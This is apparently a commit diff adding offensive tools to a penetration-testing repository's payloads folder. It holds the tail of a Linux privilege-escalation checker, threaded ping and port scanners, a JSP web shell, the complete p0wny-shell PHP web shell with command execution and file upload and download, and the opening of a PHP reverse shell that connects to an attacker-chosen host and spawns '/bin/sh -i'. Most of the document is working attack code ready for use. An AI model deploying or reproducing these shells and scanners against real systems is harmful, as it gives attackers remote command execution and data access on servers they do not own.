client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
client.settimeout(5)
|
||||
try:
|
||||
client.connect(socket_target)
|
||||
client.sendall(http_get.encode())
|
||||
|
||||
reply = client.recv(8192).decode()
|
||||
|
||||
# If we get a reply to this, we assume it is an API
|
||||
if reply:
|
||||
socket_replies[socket_target] = reply
|
||||
|
||||
except (socket.error, UnicodeDecodeError):
|
||||
continue
|
||||
|
||||
# If we have some replies, print to console
|
||||
# Hack-ish string replacement to get a nice indent
|
||||
if socket_replies:
|
||||
tee("The following root-owned sockets replied as follows",
|
||||
box='sus')
|
||||
for socket_path in socket_replies:
|
||||
tee(" " + socket_path + ":")
|
||||
tee(" " + socket_replies[socket_path]
|
||||
.replace('\n', '\n '))
|
||||
tee("")
|
||||
|
||||
|
||||
def uptux_check_dbus_issues():
|
||||
"""Inspect D-Bus configuration items"""
|
||||
units = set()
|
||||
mask = '*.conf'
|
||||
units = find_system_files(known_dirs=DBUS_DIRS,
|
||||
search_mask=mask)
|
||||
|
||||
tee("Found {} D-Bus conf files to analyse...\n".format(len(units)),
|
||||
box='ok')
|
||||
|
||||
# Test for write access to any files.
|
||||
# Will resolve symlinks to their target and also check for broken links.
|
||||
text = 'Found writeable D-Bus conf files:'
|
||||
text2 = 'Found writeable directories referred to by broken symlinks'
|
||||
box = 'vuln'
|
||||
tee("")
|
||||
tee("Checking permissions on D-Bus conf files...",
|
||||
box='ok')
|
||||
check_file_permissions(file_paths=units,
|
||||
files_message_text=text,
|
||||
dirs_message_text=text2,
|
||||
message_box=box)
|
||||
|
||||
# Checking for overly permission policies in D-Bus configuration files.
|
||||
# For example, normally "policy" is defined as a username. When defined in
|
||||
# an XML tag on its own, it applies to everyone.
|
||||
tee("")
|
||||
tee("Checking for overly permissive D-Bus configuration rules...",
|
||||
box='ok')
|
||||
|
||||
regex = re.compile(r'<policy>.*?</policy>',
|
||||
re.MULTILINE|re.DOTALL)
|
||||
|
||||
text = ('These D-Bus policies may be overly permissive as they do not'
|
||||
' specify a user or group.')
|
||||
box = 'sus'
|
||||
regex_vuln_search(file_paths=units,
|
||||
regex=regex,
|
||||
message_text=text,
|
||||
message_box=box)
|
||||
|
||||
########################## Individual Checks Complete #########################
|
||||
|
||||
def main():
|
||||
"""Main function"""
|
||||
print(BANNER)
|
||||
|
||||
# Dynamically build list of checks to execute.
|
||||
uptux_checks = build_checks_list()
|
||||
|
||||
# Use the handler to execute each check.
|
||||
for check in uptux_checks:
|
||||
check_name = check.__name__
|
||||
check_desc = check.__doc__
|
||||
check_handler(check, check_name, check_desc)
|
||||
|
||||
# Good luck!
|
||||
tee("")
|
||||
tee("All done, good luck!", box='note')
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
59
payloads/pingscan.py
Normal file
59
payloads/pingscan.py
Normal file
@@ -0,0 +1,59 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import sys
|
||||
import ipaddress
|
||||
import subprocess
|
||||
|
||||
try:
|
||||
import threading
|
||||
import queue
|
||||
NUM_THREADS = 10
|
||||
THREADING_ENABLED = True
|
||||
QUEUE = queue.Queue()
|
||||
except:
|
||||
THREADING_ENABLED = False
|
||||
|
||||
def checkHost(host):
|
||||
proc = subprocess.Popen(["ping", str(host), "-c", "1"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
return proc.wait() == 0
|
||||
|
||||
def doWork(q):
|
||||
while not q.empty():
|
||||
host = q.get()
|
||||
if checkHost(host):
|
||||
print("[+] Host %s is online" % host)
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: %s <hosts>" % sys.argv[0])
|
||||
exit(1)
|
||||
|
||||
hosts = sys.argv[1]
|
||||
if "/" not in hosts:
|
||||
if checkHost(hosts):
|
||||
print("[+] Host %s is online" % hosts)
|
||||
else:
|
||||
print("[-] Host %s is not reachable" % hosts)
|
||||
else:
|
||||
cidr = ipaddress.ip_network(hosts)
|
||||
hosts = list(cidr.hosts())
|
||||
if not THREADING_ENABLED:
|
||||
print("Scanning %d hosts in range: %s..." % (len(hosts), cidr))
|
||||
for host in hosts:
|
||||
if checkHost(host):
|
||||
print("[+] Host %s is online" % host)
|
||||
print("Done")
|
||||
else:
|
||||
print("Scanning %d hosts in range: %s with %d threads..." % (len(hosts), cidr, NUM_THREADS))
|
||||
for host in hosts:
|
||||
QUEUE.put(host)
|
||||
|
||||
threads = []
|
||||
for i in range(NUM_THREADS):
|
||||
t = threading.Thread(target=doWork, args=(QUEUE, ))
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
for t in threads:
|
||||
t.join()
|
||||
print("Done")
|
||||
97
payloads/portscan.py
Normal file
97
payloads/portscan.py
Normal file
@@ -0,0 +1,97 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
import sys
|
||||
import re
|
||||
|
||||
try:
|
||||
import threading
|
||||
import queue
|
||||
NUM_THREADS = 10
|
||||
THREADING_ENABLED = True
|
||||
QUEUE = queue.Queue()
|
||||
except:
|
||||
THREADING_ENABLED = False
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: %s <host> [ports] [num_threads]" % sys.argv[0])
|
||||
exit(1)
|
||||
|
||||
host = sys.argv[1]
|
||||
ports = range(1,1001)
|
||||
|
||||
if len(sys.argv) >= 3:
|
||||
ports_param = sys.argv[2]
|
||||
pattern = re.compile("^(\\d+)(-(\\d+)?)?$")
|
||||
m = pattern.match(ports_param)
|
||||
if m is None:
|
||||
print("Invalid port range")
|
||||
exit(1)
|
||||
|
||||
start_port = int(m.group(1))
|
||||
end_port = start_port
|
||||
if m.group(2) is not None:
|
||||
if m.group(3) is None:
|
||||
end_port = 65535
|
||||
else:
|
||||
end_port = int(m.group(3))
|
||||
|
||||
if start_port < 1 or start_port > 65535:
|
||||
print("Invalid start port")
|
||||
exit(1)
|
||||
elif end_port < 1 or end_port > 65535:
|
||||
print("Invalid end port")
|
||||
exit(1)
|
||||
elif start_port > end_port:
|
||||
print("Invalid port range")
|
||||
exit(1)
|
||||
|
||||
ports = range(start_port, end_port+1)
|
||||
|
||||
if len(sys.argv) >= 4:
|
||||
if not THREADING_ENABLED:
|
||||
print("Threading is not supported by this system, you need the libraries: threading, queue")
|
||||
exit(1)
|
||||
else:
|
||||
NUM_THREADS = int(sys.argv[3])
|
||||
if NUM_THREADS < 1:
|
||||
print("Invalid thread count:", NUM_THREADS)
|
||||
exit(1)
|
||||
|
||||
def tryConnect(host, port):
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(3.0)
|
||||
sock.connect((host,port))
|
||||
sock.close()
|
||||
return True
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
def doWork(q, host):
|
||||
while not q.empty():
|
||||
p = q.get()
|
||||
if tryConnect(host, p):
|
||||
print("[+] Port %d is open" % p)
|
||||
|
||||
if not THREADING_ENABLED:
|
||||
print("Scanning ports: %d-%d..." % (ports[0], ports[len(ports)-1]))
|
||||
open_ports = []
|
||||
for p in ports:
|
||||
if tryConnect(host, p):
|
||||
print("[+] Port %d is open" % p)
|
||||
print("Done")
|
||||
else:
|
||||
print("Scanning ports: %d-%d with %d threads..." % (ports[0], ports[len(ports)-1], NUM_THREADS))
|
||||
for i in ports:
|
||||
QUEUE.put(i)
|
||||
|
||||
threads = []
|
||||
for i in range(NUM_THREADS):
|
||||
t = threading.Thread(target=doWork, args=(QUEUE, host))
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
for t in threads:
|
||||
t.join()
|
||||
print("Done")
|
||||
27
payloads/web/jsp-webshell.jsp
Normal file
27
payloads/web/jsp-webshell.jsp
Normal file
@@ -0,0 +1,27 @@
|
||||
<%@ page import="java.util.*,java.io.*"%>
|
||||
<%
|
||||
%>
|
||||
<HTML><BODY>
|
||||
Commands with JSP
|
||||
<FORM METHOD="GET" NAME="myform" ACTION="">
|
||||
<INPUT TYPE="text" NAME="cmd">
|
||||
<INPUT TYPE="submit" VALUE="Send">
|
||||
</FORM>
|
||||
<pre>
|
||||
<%
|
||||
if (request.getParameter("cmd") != null) {
|
||||
out.println("Command: " + request.getParameter("cmd") + "<BR>");
|
||||
|
||||
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
|
||||
OutputStream os = p.getOutputStream();
|
||||
InputStream in = p.getInputStream();
|
||||
DataInputStream dis = new DataInputStream(in);
|
||||
String disr = dis.readLine();
|
||||
while ( disr != null ) {
|
||||
out.println(disr);
|
||||
disr = dis.readLine();
|
||||
}
|
||||
}
|
||||
%>
|
||||
</pre>
|
||||
</BODY></HTML>
|
||||
605
payloads/web/p0wny-shell.php
Normal file
605
payloads/web/p0wny-shell.php
Normal file
@@ -0,0 +1,605 @@
|
||||
<?php
|
||||
|
||||
$SHELL_CONFIG = array(
|
||||
'username' => 'p0wny',
|
||||
'hostname' => 'shell',
|
||||
);
|
||||
|
||||
function expandPath($path) {
|
||||
if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
|
||||
exec("echo $match[1]", $stdout);
|
||||
return $stdout[0] . $match[2];
|
||||
}
|
||||
return $path;
|
||||
}
|
||||
|
||||
function allFunctionExist($list = array()) {
|
||||
foreach ($list as $entry) {
|
||||
if (!function_exists($entry)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
function executeCommand($cmd) {
|
||||
$output = '';
|
||||
if (function_exists('exec')) {
|
||||
exec($cmd, $output);
|
||||
$output = implode("\n", $output);
|
||||
} else if (function_exists('shell_exec')) {
|
||||
$output = shell_exec($cmd);
|
||||
} else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
|
||||
ob_start();
|
||||
system($cmd);
|
||||
$output = ob_get_contents();
|
||||
ob_end_clean();
|
||||
} else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
|
||||
ob_start();
|
||||
passthru($cmd);
|
||||
$output = ob_get_contents();
|
||||
ob_end_clean();
|
||||
} else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
|
||||
$handle = popen($cmd, 'r');
|
||||
while (!feof($handle)) {
|
||||
$output .= fread($handle, 4096);
|
||||
}
|
||||
pclose($handle);
|
||||
} else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
|
||||
$handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes);
|
||||
$output = stream_get_contents($pipes[1]);
|
||||
proc_close($handle);
|
||||
}
|
||||
return $output;
|
||||
}
|
||||
|
||||
function isRunningWindows() {
|
||||
return stripos(PHP_OS, "WIN") === 0;
|
||||
}
|
||||
|
||||
function featureShell($cmd, $cwd) {
|
||||
$stdout = "";
|
||||
|
||||
if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
|
||||
chdir(expandPath("~"));
|
||||
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
|
||||
chdir($cwd);
|
||||
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
|
||||
chdir(expandPath($match[1]));
|
||||
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
|
||||
chdir($cwd);
|
||||
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
|
||||
return featureDownload($match[1]);
|
||||
} else {
|
||||
chdir($cwd);
|
||||
$stdout = executeCommand($cmd);
|
||||
}
|
||||
|
||||
return array(
|
||||
"stdout" => base64_encode($stdout),
|
||||
"cwd" => base64_encode(getcwd())
|
||||
);
|
||||
}
|
||||
|
||||
function featurePwd() {
|
||||
return array("cwd" => base64_encode(getcwd()));
|
||||
}
|
||||
|
||||
function featureHint($fileName, $cwd, $type) {
|
||||
chdir($cwd);
|
||||
if ($type == 'cmd') {
|
||||
$cmd = "compgen -c $fileName";
|
||||
} else {
|
||||
$cmd = "compgen -f $fileName";
|
||||
}
|
||||
$cmd = "/bin/bash -c \"$cmd\"";
|
||||
$files = explode("\n", shell_exec($cmd));
|
||||
foreach ($files as &$filename) {
|
||||
$filename = base64_encode($filename);
|
||||
}
|
||||
return array(
|
||||
'files' => $files,
|
||||
);
|
||||
}
|
||||
|
||||
function featureDownload($filePath) {
|
||||
$file = @file_get_contents($filePath);
|
||||
if ($file === FALSE) {
|
||||
return array(
|
||||
'stdout' => base64_encode('File not found / no read permission.'),
|
||||
'cwd' => base64_encode(getcwd())
|
||||
);
|
||||
} else {
|
||||
return array(
|
||||
'name' => base64_encode(basename($filePath)),
|
||||
'file' => base64_encode($file)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
function featureUpload($path, $file, $cwd) {
|
||||
chdir($cwd);
|
||||
$f = @fopen($path, 'wb');
|
||||
if ($f === FALSE) {
|
||||
return array(
|
||||
'stdout' => base64_encode('Invalid path / no write permission.'),
|
||||
'cwd' => base64_encode(getcwd())
|
||||
);
|
||||
} else {
|
||||
fwrite($f, base64_decode($file));
|
||||
fclose($f);
|
||||
return array(
|
||||
'stdout' => base64_encode('Done.'),
|
||||
'cwd' => base64_encode(getcwd())
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
function initShellConfig() {
|
||||
global $SHELL_CONFIG;
|
||||
|
||||
if (isRunningWindows()) {
|
||||
$username = getenv('USERNAME');
|
||||
if ($username !== false) {
|
||||
$SHELL_CONFIG['username'] = $username;
|
||||
}
|
||||
} else {
|
||||
$pwuid = posix_getpwuid(posix_geteuid());
|
||||
if ($pwuid !== false) {
|
||||
$SHELL_CONFIG['username'] = $pwuid['name'];
|
||||
}
|
||||
}
|
||||
|
||||
$hostname = gethostname();
|
||||
if ($hostname !== false) {
|
||||
$SHELL_CONFIG['hostname'] = $hostname;
|
||||
}
|
||||
}
|
||||
|
||||
if (isset($_GET["feature"])) {
|
||||
|
||||
$response = NULL;
|
||||
|
||||
switch ($_GET["feature"]) {
|
||||
case "shell":
|
||||
$cmd = $_POST['cmd'];
|
||||
if (!preg_match('/2>/', $cmd)) {
|
||||
$cmd .= ' 2>&1';
|
||||
}
|
||||
$response = featureShell($cmd, $_POST["cwd"]);
|
||||
break;
|
||||
case "pwd":
|
||||
$response = featurePwd();
|
||||
break;
|
||||
case "hint":
|
||||
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
|
||||
break;
|
||||
case 'upload':
|
||||
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
|
||||
}
|
||||
|
||||
header("Content-Type: application/json");
|
||||
echo json_encode($response);
|
||||
die();
|
||||
} else {
|
||||
initShellConfig();
|
||||
}
|
||||
|
||||
?><!DOCTYPE html>
|
||||
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<title>p0wny@shell:~#</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<style>
|
||||
html, body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background: #333;
|
||||
color: #eee;
|
||||
font-family: monospace;
|
||||
width: 100vw;
|
||||
height: 100vh;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
*::-webkit-scrollbar-track {
|
||||
border-radius: 8px;
|
||||
background-color: #353535;
|
||||
}
|
||||
|
||||
*::-webkit-scrollbar {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
}
|
||||
|
||||
*::-webkit-scrollbar-thumb {
|
||||
border-radius: 8px;
|
||||
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
|
||||
background-color: #bcbcbc;
|
||||
}
|
||||
|
||||
#shell {
|
||||
background: #222;
|
||||
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
|
||||
font-size: 10pt;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: stretch;
|
||||
max-width: calc(100vw - 2 * var(--shell-margin));
|
||||
max-height: calc(100vh - 2 * var(--shell-margin));
|
||||
resize: both;
|
||||
overflow: hidden;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
margin: var(--shell-margin) auto;
|
||||
}
|
||||
|
||||
#shell-content {
|
||||
overflow: auto;
|
||||
padding: 5px;
|
||||
white-space: pre-wrap;
|
||||
flex-grow: 1;
|
||||
}
|
||||
|
||||
#shell-logo {
|
||||
font-weight: bold;
|
||||
color: #FF4180;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
:root {
|
||||
--shell-margin: 25px;
|
||||
}
|
||||
|
||||
@media (min-width: 1200px) {
|
||||
:root {
|
||||
--shell-margin: 50px !important;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 991px),
|
||||
(max-height: 600px) {
|
||||
#shell-logo {
|
||||
font-size: 6px;
|
||||
margin: -25px 0;
|
||||
}
|
||||
:root {
|
||||
--shell-margin: 0 !important;
|
||||
}
|
||||
#shell {
|
||||
resize: none;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 767px) {
|
||||
#shell-input {
|
||||
flex-direction: column;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 320px) {
|
||||
#shell-logo {
|
||||
font-size: 5px;
|
||||
}
|
||||
}
|
||||
|
||||
.shell-prompt {
|
||||
font-weight: bold;
|
||||
color: #75DF0B;
|
||||
}
|
||||
|
||||
.shell-prompt > span {
|
||||
color: #1BC9E7;
|
||||
}
|
||||
|
||||
#shell-input {
|
||||
display: flex;
|
||||
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
|
||||
border-top: rgba(255, 255, 255, .05) solid 1px;
|
||||
padding: 10px 0;
|
||||
}
|
||||
|
||||
#shell-input > label {
|
||||
flex-grow: 0;
|
||||
display: block;
|
||||
padding: 0 5px;
|
||||
height: 30px;
|
||||
line-height: 30px;
|
||||
}
|
||||
|
||||
#shell-input #shell-cmd {
|
||||
height: 30px;
|
||||
line-height: 30px;
|
||||
border: none;
|
||||
background: transparent;
|
||||
color: #eee;
|
||||
font-family: monospace;
|
||||
font-size: 10pt;
|
||||
width: 100%;
|
||||
align-self: center;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
#shell-input div {
|
||||
flex-grow: 1;
|
||||
align-items: stretch;
|
||||
}
|
||||
|
||||
#shell-input input {
|
||||
outline: none;
|
||||
}
|
||||
</style>
|
||||
|
||||
<script>
|
||||
var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
|
||||
var CWD = null;
|
||||
var commandHistory = [];
|
||||
var historyPosition = 0;
|
||||
var eShellCmdInput = null;
|
||||
var eShellContent = null;
|
||||
|
||||
function _insertCommand(command) {
|
||||
eShellContent.innerHTML += "\n\n";
|
||||
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
|
||||
eShellContent.innerHTML += escapeHtml(command);
|
||||
eShellContent.innerHTML += "\n";
|
||||
eShellContent.scrollTop = eShellContent.scrollHeight;
|
||||
}
|
||||
|
||||
function _insertStdout(stdout) {
|
||||
eShellContent.innerHTML += escapeHtml(stdout);
|
||||
eShellContent.scrollTop = eShellContent.scrollHeight;
|
||||
}
|
||||
|
||||
function _defer(callback) {
|
||||
setTimeout(callback, 0);
|
||||
}
|
||||
|
||||
function featureShell(command) {
|
||||
|
||||
_insertCommand(command);
|
||||
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
|
||||
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
|
||||
} else if (/^\s*clear\s*$/.test(command)) {
|
||||
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
|
||||
eShellContent.innerHTML = '';
|
||||
} else {
|
||||
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
|
||||
if (response.hasOwnProperty('file')) {
|
||||
featureDownload(atob(response.name), response.file)
|
||||
} else {
|
||||
_insertStdout(atob(response.stdout));
|
||||
updateCwd(atob(response.cwd));
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
function featureHint() {
|
||||
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
|
||||
|
||||
function _requestCallback(data) {
|
||||
if (data.files.length <= 1) return; // no completion
|
||||
data.files = data.files.map(function(file){
|
||||
return atob(file);
|
||||
});
|
||||
if (data.files.length === 2) {
|
||||
if (type === 'cmd') {
|
||||
eShellCmdInput.value = data.files[0];
|
||||
} else {
|
||||
var currentValue = eShellCmdInput.value;
|
||||
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
|
||||
}
|
||||
} else {
|
||||
_insertCommand(eShellCmdInput.value);
|
||||
_insertStdout(data.files.join("\n"));
|
||||
}
|
||||
}
|
||||
|
||||
var currentCmd = eShellCmdInput.value.split(" ");
|
||||
var type = (currentCmd.length === 1) ? "cmd" : "file";
|
||||
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
|
||||
|
||||
makeRequest(
|
||||
"?feature=hint",
|
||||
{
|
||||
filename: fileName,
|
||||
cwd: CWD,
|
||||
type: type
|
||||
},
|
||||
_requestCallback
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
function featureDownload(name, file) {
|
||||
var element = document.createElement('a');
|
||||
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
|
||||
element.setAttribute('download', name);
|
||||
element.style.display = 'none';
|
||||
document.body.appendChild(element);
|
||||
element.click();
|
||||
document.body.removeChild(element);
|
||||
_insertStdout('Done.');
|
||||
}
|
||||
|
||||
function featureUpload(path) {
|
||||
var element = document.createElement('input');
|
||||
element.setAttribute('type', 'file');
|
||||
element.style.display = 'none';
|
||||
document.body.appendChild(element);
|
||||
element.addEventListener('change', function () {
|
||||
var promise = getBase64(element.files[0]);
|
||||
promise.then(function (file) {
|
||||
makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
|
||||
_insertStdout(atob(response.stdout));
|
||||
updateCwd(atob(response.cwd));
|
||||
});
|
||||
}, function () {
|
||||
_insertStdout('An unknown client-side error occurred.');
|
||||
});
|
||||
});
|
||||
element.click();
|
||||
document.body.removeChild(element);
|
||||
}
|
||||
|
||||
function getBase64(file, onLoadCallback) {
|
||||
return new Promise(function(resolve, reject) {
|
||||
var reader = new FileReader();
|
||||
reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
|
||||
reader.onerror = reject;
|
||||
reader.readAsDataURL(file);
|
||||
});
|
||||
}
|
||||
|
||||
function genPrompt(cwd) {
|
||||
cwd = cwd || "~";
|
||||
var shortCwd = cwd;
|
||||
if (cwd.split("/").length > 3) {
|
||||
var splittedCwd = cwd.split("/");
|
||||
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
|
||||
}
|
||||
return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
|
||||
}
|
||||
|
||||
function updateCwd(cwd) {
|
||||
if (cwd) {
|
||||
CWD = cwd;
|
||||
_updatePrompt();
|
||||
return;
|
||||
}
|
||||
makeRequest("?feature=pwd", {}, function(response) {
|
||||
CWD = atob(response.cwd);
|
||||
_updatePrompt();
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
function escapeHtml(string) {
|
||||
return string
|
||||
.replace(/&/g, "&")
|
||||
.replace(/</g, "<")
|
||||
.replace(/>/g, ">");
|
||||
}
|
||||
|
||||
function _updatePrompt() {
|
||||
var eShellPrompt = document.getElementById("shell-prompt");
|
||||
eShellPrompt.innerHTML = genPrompt(CWD);
|
||||
}
|
||||
|
||||
function _onShellCmdKeyDown(event) {
|
||||
switch (event.key) {
|
||||
case "Enter":
|
||||
featureShell(eShellCmdInput.value);
|
||||
insertToHistory(eShellCmdInput.value);
|
||||
eShellCmdInput.value = "";
|
||||
break;
|
||||
case "ArrowUp":
|
||||
if (historyPosition > 0) {
|
||||
historyPosition--;
|
||||
eShellCmdInput.blur();
|
||||
eShellCmdInput.value = commandHistory[historyPosition];
|
||||
_defer(function() {
|
||||
eShellCmdInput.focus();
|
||||
});
|
||||
}
|
||||
break;
|
||||
case "ArrowDown":
|
||||
if (historyPosition >= commandHistory.length) {
|
||||
break;
|
||||
}
|
||||
historyPosition++;
|
||||
if (historyPosition === commandHistory.length) {
|
||||
eShellCmdInput.value = "";
|
||||
} else {
|
||||
eShellCmdInput.blur();
|
||||
eShellCmdInput.focus();
|
||||
eShellCmdInput.value = commandHistory[historyPosition];
|
||||
}
|
||||
break;
|
||||
case 'Tab':
|
||||
event.preventDefault();
|
||||
featureHint();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
function insertToHistory(cmd) {
|
||||
commandHistory.push(cmd);
|
||||
historyPosition = commandHistory.length;
|
||||
}
|
||||
|
||||
function makeRequest(url, params, callback) {
|
||||
function getQueryString() {
|
||||
var a = [];
|
||||
for (var key in params) {
|
||||
if (params.hasOwnProperty(key)) {
|
||||
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
|
||||
}
|
||||
}
|
||||
return a.join("&");
|
||||
}
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("POST", url, true);
|
||||
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState === 4 && xhr.status === 200) {
|
||||
try {
|
||||
var responseJson = JSON.parse(xhr.responseText);
|
||||
callback(responseJson);
|
||||
} catch (error) {
|
||||
alert("Error while parsing response: " + error);
|
||||
}
|
||||
}
|
||||
};
|
||||
xhr.send(getQueryString());
|
||||
}
|
||||
|
||||
document.onclick = function(event) {
|
||||
event = event || window.event;
|
||||
var selection = window.getSelection();
|
||||
var target = event.target || event.srcElement;
|
||||
|
||||
if (target.tagName === "SELECT") {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!selection.toString()) {
|
||||
eShellCmdInput.focus();
|
||||
}
|
||||
};
|
||||
|
||||
window.onload = function() {
|
||||
eShellCmdInput = document.getElementById("shell-cmd");
|
||||
eShellContent = document.getElementById("shell-content");
|
||||
updateCwd();
|
||||
eShellCmdInput.focus();
|
||||
};
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="shell">
|
||||
<pre id="shell-content">
|
||||
<div id="shell-logo">
|
||||
___ ____ _ _ _ _ _ <span></span>
|
||||
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
|
||||
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
|
||||
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
|
||||
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|
||||
|_| |___/ \____/ <span></span>
|
||||
</div>
|
||||
</pre>
|
||||
<div id="shell-input">
|
||||
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
|
||||
<div>
|
||||
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
189
payloads/web/php-reverse-shell.php
Normal file
189
payloads/web/php-reverse-shell.php
Normal file
@@ -0,0 +1,189 @@
|
||||
<?php
|
||||
// php-reverse-shell - A Reverse Shell implementation in PHP
|
||||
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
|
||||
//
|
||||
// This tool may be used for legal purposes only. Users take full responsibility
|
||||
// for any actions performed using this tool. The author accepts no liability
|
||||
// for damage caused by this tool. If these terms are not acceptable to you, then
|
||||
// do not use this tool.
|
||||
//
|
||||
// In all other respects the GPL version 2 applies:
|
||||
//
|
||||
// This program is free software; you can redistribute it and/or modify
|
||||
// it under the terms of the GNU General Public License version 2 as
|
||||
// published by the Free Software Foundation.
|
||||
//
|
||||
// This program is distributed in the hope that it will be useful,
|
||||
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
// GNU General Public License for more details.
|
||||
//
|
||||
// You should have received a copy of the GNU General Public License along
|
||||
// with this program; if not, write to the Free Software Foundation, Inc.,
|
||||
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||
//
|
||||
// This tool may be used for legal purposes only. Users take full responsibility
|
||||
// for any actions performed using this tool. If these terms are not acceptable to
|
||||
// you, then do not use this tool.
|
||||
//
|
||||
// You are encouraged to send comments, improvements or suggestions to
|
||||
// me at pentestmonkey@pentestmonkey.net
|
||||
//
|
||||
// Description
|
||||
// -----------
|
||||
// This script will make an outbound TCP connection to a hardcoded IP and port.
|
||||
// The recipient will be given a shell running as the current user (apache normally).
|
||||
//
|
||||
// Limitations
|
||||
// -----------
|
||||
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
|
||||
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
|
||||
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
|
||||
//
|
||||
// Usage
|
||||
// -----
|
||||
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
|
||||
|
||||
set_time_limit (0);
|
||||
$VERSION = "1.0";
|
||||
$ip = $_GET["LHOST"];
|
||||
$port = intval($_GET["LPORT"]);
|
||||
$chunk_size = 1400;
|
||||
$write_a = null;
|
||||
$error_a = null;
|
||||
$shell = $_GET["SHELL"] ?? 'uname -a; w; id; /bin/sh -i';
|
||||
$daemon = 0;
|
||||
